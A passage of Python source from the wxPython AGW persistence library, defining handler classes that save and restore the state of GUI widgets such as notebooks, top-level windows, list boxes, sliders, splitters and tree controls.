pObject):\n \"\"\"\n Default class constructor.\n\n :param `pObject`: a L{PersistentObject} containing information about the\n persistent widget.\n \"\"\"\n\n object.__init__(self)\n self._pObject = pObject\n self._window = pObject.GetWindow()\n\n\n def Save(self):\n \"\"\"\n Saves the widget's settings by calling L{PersistentObject.SaveValue}, which in\n turns calls L{PersistenceManager.SaveValue}.\n\n :note: This method must be overridden in derived classes. \n \"\"\"\n\n pass\n\n\n def Restore(self):\n \"\"\"\n Restores the widget's settings by calling L{PersistentObject.RestoreValue}, which in\n turns calls L{PersistenceManager.RestoreValue}.\n\n :note: This method must be overridden in derived classes. \n \"\"\"\n\n pass\n\n\n def GetKind(self):\n \"\"\"\n Returns a short and meaningful *string* description of your widget.\n\n :note: This method must be overridden in derived classes. \n \"\"\"\n\n pass\n \n\n# ----------------------------------------------------------------------------------- #\n\nclass BookHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring book control selection.\n\n This class handles the following wxPython widgets:\n \n - `wx.Toolbook`;\n - `wx.Choicebook`;\n - `wx.Listbook`;\n - `wx.Treebook` (except for opened tree branches, see L{TreebookHandler} for this);\n - `wx.Notebook`;\n - `wx.aui.AuiNotebook`;\n - L{auibook.AuiNotebook};\n - L{flatnotebook.FlatNotebook};\n - L{labelbook.LabelBook};\n - L{labelbook.FlatImageBook}.\n\n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n book, obj = self._window, self._pObject\n obj.SaveValue(PERSIST_BOOK_SELECTION, book.GetSelection())\n\n if issubclass(book.__class__, AUI.AuiNotebook):\n manager = PM.PersistenceManager.Get()\n if manager.GetManagerStyle() & PM_SAVE_RESTORE_AUI_PERSPECTIVES:\n # Allowed to save and restore perspectives\n perspective = book.SavePerspective() \n obj.SaveValue(PERSIST_BOOK_AGW_AUI_PERSPECTIVE, perspective)\n\n\n def Restore(self):\n\n book, obj = self._window, self._pObject\n sel = obj.RestoreValue(PERSIST_BOOK_SELECTION)\n\n retVal = True\n if issubclass(book.__class__, AUI.AuiNotebook):\n manager = PM.PersistenceManager.Get()\n if manager.GetManagerStyle() & PM_SAVE_RESTORE_AUI_PERSPECTIVES:\n retVal = False\n # Allowed to save and restore perspectives\n perspective = obj.RestoreValue(PERSIST_BOOK_AGW_AUI_PERSPECTIVE)\n if perspective is not None:\n retVal = book.LoadPerspective(perspective)\n wx.CallAfter(book.Refresh)\n\n if sel is not None:\n if sel >= 0 and sel < book.GetPageCount():\n book.SetSelection(sel)\n return True and retVal\n\n return False\n\n\n def GetKind(self):\n\n return PERSIST_BOOK_KIND\n \n\n# ----------------------------------------------------------------------------------- #\n\nclass TreebookHandler(BookHandler):\n \"\"\"\n Supports saving/restoring open tree branches.\n\n This class handles the following wxPython widgets:\n \n - `wx.Treebook` (except for page selection, see L{BookHandler} for this).\n \n \"\"\"\n \n def __init__(self, pObject):\n\n BookHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n book, obj = self._window, self._pObject\n\n expanded = \"\"\n for page in xrange(book.GetPageCount()):\n if book.IsNodeExpanded(page):\n if expanded:\n expanded += PERSIST_SEP\n\n expanded += \"%u\"%page\n\n obj.SaveValue(PERSIST_TREEBOOK_EXPANDED_BRANCHES, expanded)\n \n return BookHandler.Save(self)\n \n\n def Restore(self):\n\n book, obj = self._window, self._pObject\n\n expanded = obj.RestoreValue(PERSIST_TREEBOOK_EXPANDED_BRANCHES)\n\n if expanded:\n indices = expanded.split(PERSIST_SEP)\n pageCount = book.GetPageCount()\n \n for indx in indices:\n idx = int(indx)\n if idx >= 0 and idx < pageCount:\n book.ExpandNode(idx)\n \n return BookHandler.Restore(self)\n\n\n def GetKind(self):\n\n return PERSIST_TREEBOOK_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass AUIHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring `wx.aui.AuiManager` and L{framemanager.AuiManager}\n perspectives.\n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n # Save the AUI perspectives if PersistenceManager allows it\n eventHandler = self._window.GetEventHandler()\n\n isAGWAui = isinstance(eventHandler, AUI.AuiManager)\n isAui = isinstance(eventHandler, wx.aui.AuiManager)\n if not isAui and not isAGWAui:\n return True\n \n manager = PM.PersistenceManager.Get()\n if manager.GetManagerStyle() & PM_SAVE_RESTORE_AUI_PERSPECTIVES:\n # Allowed to save and restore perspectives\n perspective = eventHandler.SavePerspective()\n if isAGWAui:\n name = PERSIST_AGW_AUI_PERSPECTIVE\n else:\n name = PERSIST_AUI_PERSPECTIVE\n \n self._pObject.SaveValue(name, perspective)\n\n return True\n \n\n def Restore(self):\n\n # Restore the AUI perspectives if PersistenceManager allows it\n eventHandler = self._window.GetEventHandler()\n\n isAGWAui = isinstance(eventHandler, AUI.AuiManager)\n isAui = isinstance(eventHandler, wx.aui.AuiManager)\n if not isAui and not isAGWAui:\n return True\n \n manager = PM.PersistenceManager.Get()\n if manager.GetManagerStyle() & PM_SAVE_RESTORE_AUI_PERSPECTIVES:\n # Allowed to save and restore perspectives\n if isAGWAui:\n name = PERSIST_AGW_AUI_PERSPECTIVE\n else:\n name = PERSIST_AUI_PERSPECTIVE\n \n perspective = self._pObject.RestoreValue(name)\n if perspective is not None:\n eventHandler.LoadPerspective(perspective)\n return False\n \n return True\n\n\n def GetKind(self):\n\n return PERSIST_AUIPERSPECTIVE_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass TLWHandler(AUIHandler):\n \"\"\"\n Supports saving/restoring window position and size as well as\n maximized/iconized/restore state for toplevel windows.\n\n This class handles the following wxPython widgets:\n \n - All `wx.Frame` derived classes;\n - All `wx.Dialog` derived classes.\n\n |\n \n In addition, if the toplevel window has an associated AuiManager (whether it is \n `wx.aui.AuiManager` or L{framemanager.AuiManager} and L{PersistenceManager}\n has the ``PM_SAVE_RESTORE_AUI_PERSPECTIVES`` style set (the default), this class\n will also save and restore AUI perspectives using the underlying L{AUIHandler}\n class.\n\n \"\"\"\n \n def __init__(self, pObject):\n\n AUIHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n tlw, obj = self._window, self._pObject\n\n pos = tlw.GetScreenPosition()\n obj.SaveValue(PERSIST_TLW_X, pos.x)\n obj.SaveValue(PERSIST_TLW_Y, pos.y)\n \n # Notice that we use GetSize() here and not GetClientSize() because\n # the latter doesn't return correct results for the minimized windows\n # (at least not under Windows)\n #\n # Of course, it shouldn't matter anyhow usually, the client size\n # should be preserved as well unless the size of the decorations\n # changed between the runs\n size = tlw.GetSize()\n obj.SaveValue(PERSIST_TLW_W, size.x)\n obj.SaveValue(PERSIST_TLW_H, size.y)\n\n obj.SaveValue(PERSIST_TLW_MAXIMIZED, tlw.IsMaximized())\n obj.SaveValue(PERSIST_TLW_ICONIZED, tlw.IsIconized())\n\n return AUIHandler.Save(self)\n \n\n def Restore(self):\n\n tlw, obj = self._window, self._pObject\n\n x, y = obj.RestoreValue(PERSIST_TLW_X), obj.RestoreValue(PERSIST_TLW_Y)\n w, h = obj.RestoreValue(PERSIST_TLW_W), obj.RestoreValue(PERSIST_TLW_H)\n\n hasPos = x is not None and y is not None\n hasSize = w is not None and h is not None\n \n if hasPos:\n # To avoid making the window completely invisible if it had been\n # shown on a monitor which was disconnected since the last run\n # (this is pretty common for notebook with external displays)\n #\n # NB: we should allow window position to be (slightly) off screen,\n # it's not uncommon to position the window so that its upper\n # left corner has slightly negative coordinate\n if wx.Display.GetFromPoint(wx.Point(x, y)) != wx.NOT_FOUND or \\\n (hasSize and wx.Display.GetFromPoint(wx.Point(x+w, y+h)) != wx.NOT_FOUND):\n tlw.Move(wx.Point(x, y), wx.SIZE_ALLOW_MINUS_ONE)\n\n # else: should we try to adjust position/size somehow?\n\n if hasSize:\n tlw.SetSize((w, h))\n\n # Note that the window can be both maximized and iconized\n maximized = obj.RestoreValue(PERSIST_TLW_MAXIMIZED)\n if maximized:\n tlw.Maximize()\n\n iconized = obj.RestoreValue(PERSIST_TLW_ICONIZED)\n if iconized:\n tlw.Iconize()\n\n # The most important property of the window that we restore is its\n # size, so disregard the value of hasPos here\n return (hasSize and AUIHandler.Restore(self))\n \n\n def GetKind(self):\n\n return PERSIST_TLW_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass CheckBoxHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.CheckBox` state.\n\n This class handles the following wxPython widgets:\n \n - `wx.CheckBox`.\n \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n check, obj = self._window, self._pObject\n\n if check.Is3State():\n obj.SaveValue(PERSIST_CHECKBOX_3STATE, check.Get3StateValue())\n else:\n obj.SaveValue(PERSIST_CHECKBOX, check.GetValue())\n \n return True\n \n\n def Restore(self):\n\n check, obj = self._window, self._pObject\n\n if check.Is3State():\n value = obj.RestoreValue(PERSIST_CHECKBOX_3STATE)\n if value is not None:\n check.Set3StateValue(value)\n return True\n else:\n value = obj.RestoreValue(PERSIST_CHECKBOX)\n if value is not None:\n check.SetValue(value)\n return True\n \n return False\n\n\n def GetKind(self):\n\n return PERSIST_CHECKBOX_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass ListBoxHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring selected items in `wx.ListBox`, `wx.ListCtrl`, `wx.ListView`,\n `wx.VListBox`, `wx.HtmlListBox`, `wx.SimpleHtmlListBox`, `wx.gizmos.EditableListBox`.\n\n This class handles the following wxPython widgets:\n \n - `wx.ListBox`;\n - `wx.ListCtrl` (only for selected items. For column sizes see L{ListCtrlHandler});\n - `wx.ListView` (only for selected items. For column sizes see L{ListCtrlHandler});\n - `wx.VListBox`;\n - `wx.HtmlListBox`;\n - `wx.SimpleHtmlListBox`;\n - `wx.gizmos.EditableListBox`. \n \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n\n\n def GetSelections(self, listBox):\n \"\"\"\n Returns a list of selected items for `wx.ListBox`, `wx.ListCtrl`, `wx.ListView`,\n `wx.VListBox`, `wx.HtmlListBox`, `wx.SimpleHtmlListBox`, `wx.gizmos.EditableListBox`.\n\n :param `listBox`: an instance of `wx.ListBox`, `wx.ListCtrl`, `wx.ListView`,\n `wx.VListBox`, `wx.HtmlListBox`, `wx.SimpleHtmlListBox`, `wx.gizmos.EditableListBox`..\n \"\"\"\n\n indices = []\n if isinstance(listBox, (wx.HtmlListBox, wx.SimpleHtmlListBox)):\n if listBox.GetSelectedCount() == 0:\n return indices\n else:\n if listBox.GetSelectedItemCount() == 0:\n return indices\n\n isVirtual = issubclass(listBox.__class__, wx.VListBox)\n \n if isVirtual:\n # This includes wx.SimpleHtmlListBox and wx.HtmlListBox\n if listBox.GetWindowStyleFlag() & wx.LB_SINGLE:\n selection = listBox.GetSelection()\n return (selection >= 0 and [selection] or [indices])[0]\n else:\n # wx.ListCtrl\n if listBox.GetWindowStyleFlag() & wx.LC_SINGLE_SEL:\n selection = listBox.GetSelection()\n return (selection >= 0 and [selection] or [indices])[0]\n\n if isVirtual:\n item, cookie = listBox.GetFirstSelected()\n while item != wx.NOT_FOUND:\n indices.append(item)\n item, cookie = listBox.GetNextSelected(cookie)\n\n return indices \n\n lastFound = -1\n # Loop until told to stop \n while 1:\n index = listBox.GetNextItem(lastFound, wx.LIST_NEXT_ALL, wx.LIST_STATE_SELECTED)\n if index == wx.NOT_FOUND:\n # No item selected\n break\n else:\n # Found one item, append to the list of condemned\n lastFound = index\n indices.append(index)\n\n return indices\n \n\n def Save(self):\n\n manager = PM.PersistenceManager.Get()\n if manager.GetManagerStyle() & PM_SAVE_RESTORE_TREE_LIST_SELECTIONS == 0:\n # We don't want to save selected items\n return True\n \n listBox, obj = self._window, self._pObject\n\n if issubclass(listBox.__class__, wx.ListBox):\n selections = listBox.GetSelections()\n else:\n selections = self.GetSelections(listBox)\n \n obj.SaveValue(PERSIST_LISTBOX_SELECTIONS, selections)\n return True\n \n\n def Restore(self):\n\n manager = PM.PersistenceManager.Get()\n if manager.GetManagerStyle() & PM_SAVE_RESTORE_TREE_LIST_SELECTIONS == 0:\n # We don't want to save selected items\n return True\n\n listBox, obj = self._window, self._pObject\n\n isVirtual = issubclass(listBox.__class__, wx.VListBox) or isinstance(listBox, wx.CheckListBox)\n isHtml = isinstance(listBox, wx.HtmlListBox)\n if isVirtual and not isHtml:\n count = listBox.GetCount()\n else:\n count = listBox.GetItemCount()\n \n selections = obj.RestoreValue(PERSIST_LISTBOX_SELECTIONS)\n \n if selections is not None:\n for index in selections:\n if index < count:\n listBox.Select(index)\n\n return True\n\n return False \n \n\n def GetKind(self):\n\n return PERSIST_LISTBOX_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass ListCtrlHandler(ListBoxHandler):\n \"\"\"\n Supports saving/restoring selected items and column sizes in `wx.ListCtrl`.\n\n This class handles the following wxPython widgets:\n \n - `wx.ListCtrl` (only for column sizes. For selected items see L{ListBoxHandler});\n - `wx.ListView` (only for column sizes. For selected items see L{ListBoxHandler}).\n \"\"\"\n \n def __init__(self, pObject):\n\n ListBoxHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n listCtrl, obj = self._window, self._pObject\n\n retVal = ListBoxHandler.Save(self)\n \n if not listCtrl.InReportView():\n return retVal\n \n colSizes = []\n for col in xrange(listCtrl.GetColumnCount()):\n colSizes.append(listCtrl.GetColumnWidth(col))\n \n obj.SaveValue(PERSIST_LISTCTRL_COLWIDTHS, colSizes)\n\n return retVal\n \n\n def Restore(self):\n\n listCtrl, obj = self._window, self._pObject\n \n retVal = ListBoxHandler.Restore(self)\n\n if not listCtrl.InReportView():\n return retVal\n \n colSizes = obj.RestoreValue(PERSIST_LISTCTRL_COLWIDTHS)\n if colSizes is None:\n return False\n \n count = listCtrl.GetColumnCount()\n for col, size in enumerate(colSizes):\n if col < count:\n listCtrl.SetColumnWidth(col, size)\n\n return retVal\n \n\n def GetKind(self):\n\n return PERSIST_LISTCTRL_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass CheckListBoxHandler(ListBoxHandler):\n \"\"\"\n Supports saving/restoring checked and selected items in `wx.CheckListBox`.\n\n This class handles the following wxPython widgets:\n \n - `wx.CheckListBox` (only for checked items. For selected items see L{ListBoxHandler}).\n\n \"\"\"\n \n def __init__(self, pObject):\n\n ListBoxHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n checkList, obj = self._window, self._pObject\n\n checked = []\n for index in xrange(checkList.GetCount()):\n if checkList.IsChecked(index):\n checked.append(index)\n\n obj.SaveValue(PERSIST_CHECKLIST_CHECKED, checked)\n\n return ListBoxHandler.Save(self)\n \n\n def Restore(self):\n\n checkList, obj = self._window, self._pObject\n \n checked = obj.RestoreValue(PERSIST_CHECKLIST_CHECKED)\n count = checkList.GetCount()\n if checked is not None:\n for index in checked:\n if index < count:\n checkList.Check(index)\n \n return ListBoxHandler.Restore(self)\n\n\n def GetKind(self):\n\n return PERSIST_CHECKLISTBOX_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass ChoiceComboHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring `wx.Choice`, `wx.ComboBox` and `wx.combo.OwnerDrawnComboBox`\n selection.\n\n This class handles the following wxPython widgets:\n \n - `wx.Choice`;\n - `wx.ComboBox`;\n - `wx.combo.OwnerDrawnComboBox`.\n\n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n combo, obj = self._window, self._pObject\n\n value = combo.GetStringSelection()\n obj.SaveValue(PERSIST_CHOICECOMBO_SELECTION, value)\n return True\n\n\n def Restore(self):\n\n combo, obj = self._window, self._pObject\n \n value = obj.RestoreValue(PERSIST_CHOICECOMBO_SELECTION)\n if value is not None:\n if value in combo.GetStrings():\n combo.SetStringSelection(value)\n\n return True\n\n return False\n \n\n def GetKind(self):\n\n return PERSIST_CHOICECOMBO_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass FoldPanelBarHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring of L{foldpanelbar.FoldPanelBar}.\n\n This class handles the following wxPython widgets\n\n - L{foldpanelbar.FoldPanelBar\n \"\"\"\n \n def __init__(self, pObject):\n \n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n \n fpb, obj = self._window, self._pObject\n expanded = [fpb.GetFoldPanel(i).IsExpanded() for i in xrange(fpb.GetCount())]\n obj.SaveValue(PERSIST_FOLDPANELBAR_EXPANDED, expanded)\n\n return True\n\n \n def Restore(self):\n \n fpb, obj = self._window, self._pObject\n expanded = obj.RestoreValue(PERSIST_FOLDPANELBAR_EXPANDED)\n\n if expanded is None:\n return False\n else:\n for idx, expand in enumerate(expanded):\n panel = fpb.GetFoldPanel(idx)\n if expand:\n fpb.Expand(panel)\n else:\n fpb.Collapse(panel)\n\n return True\n \n \n def GetKind(self):\n \n return PERSIST_FOLDPANELBAR_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass RadioBoxHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.RadioBox` state.\n\n This class handles the following wxPython widgets:\n \n - `wx.RadioBox`.\n \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n radio, obj = self._window, self._pObject\n obj.SaveValue(PERSIST_RADIOBOX_SELECTION, radio.GetSelection())\n return True\n \n\n def Restore(self):\n\n radio, obj = self._window, self._pObject\n value = obj.RestoreValue(PERSIST_RADIOBOX_SELECTION)\n if value is not None:\n if value < radio.GetCount():\n radio.SetSelection(value)\n return True\n \n return False\n\n\n def GetKind(self):\n\n return PERSIST_RADIOBOX_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass RadioButtonHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.RadioButton` state.\n\n This class handles the following wxPython widgets:\n \n - `wx.RadioButton`.\n \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n radio, obj = self._window, self._pObject\n obj.SaveValue(PERSIST_RADIOBUTTON_VALUE, radio.GetValue())\n return True\n \n\n def Restore(self):\n\n radio, obj = self._window, self._pObject\n value = obj.RestoreValue(PERSIST_RADIOBUTTON_VALUE)\n if value is not None:\n radio.SetValue(value)\n return True\n \n return False\n\n\n def GetKind(self):\n\n return PERSIST_RADIOBUTTON_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass ScrolledWindowHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.ScrolledWindow` / `wx.lib.scrolledpanel.ScrolledPanel`\n scroll position.\n\n This class handles the following wxPython widgets:\n \n - `wx.ScrolledWindow`;\n - `wx.lib.scrolledpanel.ScrolledPanel`.\n \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n scroll, obj = self._window, self._pObject\n \n scrollPos = scroll.GetScrollPos()\n obj.SaveValue(PERSIST_SCROLLEDWINDOW_POS_X, scrollPos.x)\n obj.SaveValue(PERSIST_SCROLLEDWINDOW_POS_Y, scrollPos.y)\n return True\n\n\n def Restore(self):\n\n scroll, obj = self._window, self._pObject\n xpos = obj.RestoreValue(PERSIST_SCROLLEDWINDOW_POS_X)\n ypos = obj.RestoreValue(PERSIST_SCROLLEDWINDOW_POS_Y)\n\n if xpos is not None and ypos is not None:\n maxX, maxY = scroll.GetVirtualSize()\n unitsX, unitsY = scroll.GetScrollPixelsPerUnit()\n if unitsX > 0 and maxX/unitsX > xpos:\n if unitsY > 0 and maxY/unitsY > ypos:\n return False\n \n scroll.Scroll(xpos, ypos)\n return True\n \n return False\n\n\n def GetKind(self):\n\n return PERSIST_SCROLLEDWINDOW_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass SliderHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.Slider` / L{knobctrl.KnobCtrl} thumb position.\n\n This class handles the following wxPython widgets:\n \n - `wx.Slider`;\n - L{knobctrl.KnobCtrl}.\n \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n slider, obj = self._window, self._pObject \n obj.SaveValue(PERSIST_SLIDER_VALUE, slider.GetValue())\n return True\n\n\n def Restore(self):\n\n slider, obj = self._window, self._pObject\n value = obj.RestoreValue(PERSIST_SLIDER_VALUE)\n\n if issubclass(slider.__class__, wx.Slider):\n minVal, maxVal = slider.GetMin(), slider.GetMax()\n else:\n # KnobCtrl\n minVal, maxVal = slider.GetMinValue(), slider.GetMaxValue()\n \n if value is not None:\n if value >= minVal and value <= maxVal:\n slider.SetValue(value)\n return True\n \n return False\n\n\n def GetKind(self):\n\n return PERSIST_SLIDER_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass SpinHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.SpinButton` / `wx.SpinCtrl` value.\n\n This class handles the following wxPython widgets:\n \n - `wx.SpinCtrl`;\n - `wx.SpinButton`. \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n spin, obj = self._window, self._pObject \n obj.SaveValue(PERSIST_SPIN_VALUE, spin.GetValue())\n return True\n \n\n def Restore(self):\n\n spin, obj = self._window, self._pObject\n value = obj.RestoreValue(PERSIST_SPIN_VALUE)\n\n if value is not None:\n minVal, maxVal = spin.GetMin(), spin.GetMax()\n if value >= minVal and value <= maxVal:\n spin.SetValue(value)\n return True\n \n return False\n\n\n def GetKind(self):\n\n return PERSIST_SPIN_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass SplitterHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.SplitterWindow` splitter position.\n\n This class handles the following wxPython widgets:\n \n - `wx.SplitterWindow`.\n \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n splitter, obj = self._window, self._pObject \n obj.SaveValue(PERSIST_SPLITTER_POSITION, splitter.GetSashPosition())\n return True\n \n\n def Restore(self):\n\n splitter, obj = self._window, self._pObject\n value = obj.RestoreValue(PERSIST_SPLITTER_POSITION)\n\n if value is None:\n return False\n\n if not splitter.IsSplit():\n return False\n \n width, height = splitter.GetClientSize()\n minPaneSize = splitter.GetMinimumPaneSize()\n direction = splitter.GetSplitMode()\n\n if direction == wx.SPLIT_HORIZONTAL:\n # Top and bottom panes\n if value > height - minPaneSize:\n return False\n else:\n # Left and right panes\n if value > width - minPaneSize:\n return False\n \n splitter.SetSashPosition(value)\n return True\n \n\n def GetKind(self):\n\n return PERSIST_SPLITTER_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass TextCtrlHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.TextCtrl` entered string.\n\n This class handles the following wxPython widgets:\n \n - `wx.TextCtrl`;\n - `wx.SearchCtrl`;\n - `wx.lib.expando.ExpandoTextCtrl`;\n - `wx.lib.masked.TextCtrl`;\n - `wx.lib.masked.ComboBox`;\n - `wx.lib.masked.IpAddrCtrl`;\n - `wx.lib.masked.TimeCtrl`;\n - `wx.lib.masked.NumCtrl`;\n \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n text, obj = self._window, self._pObject \n obj.SaveValue(PERSIST_TEXTCTRL_VALUE, text.GetValue())\n return True\n \n\n def Restore(self):\n\n text, obj = self._window, self._pObject\n value = obj.RestoreValue(PERSIST_TEXTCTRL_VALUE)\n\n if value is not None:\n text.SetValue(value)\n return True\n \n return False\n\n\n def GetKind(self):\n\n return PERSIST_TEXTCTRL_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass ToggleButtonHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.ToggleButton` and friends state.\n\n This class handles the following wxPython widgets:\n\n - `wx.ToggleButton`;\n - `wx.lib.buttons.GenToggleButton`;\n - `wx.lib.buttons.GenBitmapToggleButton`;\n - `wx.lib.buttons.GenBitmapTextToggleButton`;\n - L{shapedbutton.SToggleButton};\n - L{shapedbutton.SBitmapToggleButton};\n - L{shapedbutton.SBitmapTextToggleButton}.\n \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n toggle, obj = self._window, self._pObject \n obj.SaveValue(PERSIST_TOGGLEBUTTON_TOGGLED, toggle.GetValue())\n return True\n \n\n def Restore(self):\n\n toggle, obj = self._window, self._pObject\n value = obj.RestoreValue(PERSIST_TOGGLEBUTTON_TOGGLED)\n\n if value is not None:\n toggle.SetValue(value)\n return True\n \n return False\n\n\n def GetKind(self):\n\n return PERSIST_TOGGLEBUTTON_KIND\n\n# ----------------------------------------------------------------------------------- #\n\nclass TreeCtrlHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.TreeCtrl` expansion state, selections and\n checked items state (meaningful only for L{customtreectrl.CustomTreeCtrl}).\n\n This class handles the following wxPython widgets:\n\n - `wx.TreeCtrl`;\n - `wx.GenericDirCtrl`;\n - L{customtreectrl.CustomTreeCtrl};\n - L{hypertreelist.HyperTreeList}; \n\n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n self._isTreeList = isinstance(pObject.GetWindow(), wx.gizmos.TreeListCtrl)\n \n\n def GetItemChildren(self, item=None, recursively=False):\n \"\"\"\n Return the children of item as a list.\n\n :param `item`: a `wx.TreeCtrl` item or a L{customtreectrl.CustomTreeCtrl} item;\n :param `recursively`: whether to recurse into the item hierarchy or not.\n \"\"\"\n\n if not item:\n item = self._window.GetRootItem()\n if not item:\n return []\n\n children = []\n child, cookie = self._window.GetFirstChild(item)\n\n while child and child.IsOk():\n children.append(child)\n if recursively:\n children.extend(self.GetItemChildren(child, True))\n child, cookie = self._window.GetNextChild(item, cookie)\n\n return children\n\n\n def GetIndexOfItem(self, item):\n \"\"\"\n Return the index of item.\n\n :param `item`: a `wx.TreeCtrl` item or a L{customtreectrl.CustomTreeCtrl} item;\n \"\"\"\n \n parent = self._window.GetItemParent(item)\n if parent:\n parentIndices = self.GetIndexOfItem(parent)\n ownIndex = self.GetItemChildren(parent).index(item)\n return parentIndices + (ownIndex,)\n else:\n return ()\n \n\n def GetItemIdentity(self, item):\n \"\"\"\n Return a hashable object that represents the identity of the\n item. By default this returns the position of the item in the \n tree. You may want to override this to return the item label \n (if you know that labels are unique and don't change), or return \n something that represents the underlying domain object, e.g. \n a database key.\n\n :param `item`: a `wx.TreeCtrl` item or a L{customtreectrl.CustomTreeCtrl} item; \n \"\"\"\n \n return self.GetIndexOfItem(item)\n \n\n def GetExpansionState(self):\n \"\"\"\n Returns list of expanded items. Expanded items are coded as determined by\n the result of L{TreeCtrlHandler.GetItemIdentity}.\n \"\"\"\n \n root = self._window.GetRootItem()\n if not root:\n return []\n if self._window.HasFlag(wx.TR_HIDE_ROOT):\n return self.GetExpansionStateOfChildren(root)\n else:\n return self.GetExpansionStateOfItem(root)\n\n\n def SetExpansionState(self, listOfExpandedItems):\n \"\"\"\n Expands all tree items whose identity, as determined by L{TreeCtrlHandler.GetItemIdentity},\n is present in the list and collapses all other tree items.\n\n :param `listOfExpandedItems`: a list of expanded `wx.TreeCtrl` or\n L{customtreectrl.CustomTreeCtrl} items.\n \"\"\"\n \n root = self._window.GetRootItem()\n if not root:\n return\n if self._window.HasFlag(wx.TR_HIDE_ROOT):\n self.SetExpansionStateOfChildren(listOfExpandedItems, root)\n else:\n self.SetExpansionStateOfItem(listOfExpandedItems, root)\n\n\n def GetSelectionState(self):\n \"\"\"\n Returns a list of selected items. Selected items are coded as determined by\n the result of L{TreeCtrlHandler.GetItemIdentity}.\n \"\"\"\n \n root = self._window.GetRootItem()\n if not root:\n return []\n if self._window.HasFlag(wx.TR_HIDE_ROOT):\n return self.GeSelectionStateOfChildren(root)\n else:\n return self.GetSelectionStateOfItem(root)\n\n\n def SetSelectionState(self, listOfSelectedItems):\n \"\"\"\n Selects all tree items whose identity, as determined by L{TreeCtrlHandler.GetItemIdentity},\n is present in the list and unselects all other tree items.\n\n :param `listOfSelectedItems`: a list of selected `wx.TreeCtrl` or\n L{customtreectrl.CustomTreeCtrl} items.\n \"\"\"\n \n root = self._window.GetRootItem()\n if not root:\n return\n if self._window.HasFlag(wx.TR_HIDE_ROOT):\n self.SetSelectedStateOfChildren(listOfSelectedItems, root)\n else:\n self.SetSelectedStateOfItem(listOfSelectedItems, root)\n\n \n def GetCheckedState(self):\n \"\"\"\n Returns a list of checked items. Checked items are coded as determined by\n the result of L{TreeCtrlHandler.GetItemIdentity}.\n \n :note: This is meaningful only for L{customtreectrl.CustomTreeCtrl} and\n L{hypertreelist.HyperTreeList}.\n \"\"\"\n \n root = self._window.GetRootItem()\n if not root:\n return []\n if self._window.HasFlag(wx.TR_HIDE_ROOT):\n return self.GetCheckedStateOfChildren(root)\n else:\n return self.GetCheckedStateOfItem(root)\n\n\n def SetCheckedState(self, listOfCheckedItems):\n \"\"\"\n Checks all tree items whose identity, as determined by L{TreeCtrlHandler.GetItemIdentity}, is present\n in the list and unchecks all other tree items.\n \n :param `listOfCheckedItems`: a list of checked L{customtreectrl.CustomTreeCtrl} items.\n\n :note: This is meaningful only for L{customtreectrl.CustomTreeCtrl} and\n L{hypertreelist.HyperTreeList}.\n \"\"\"\n \n root = self._window.GetRootItem()\n if not root:\n return\n if 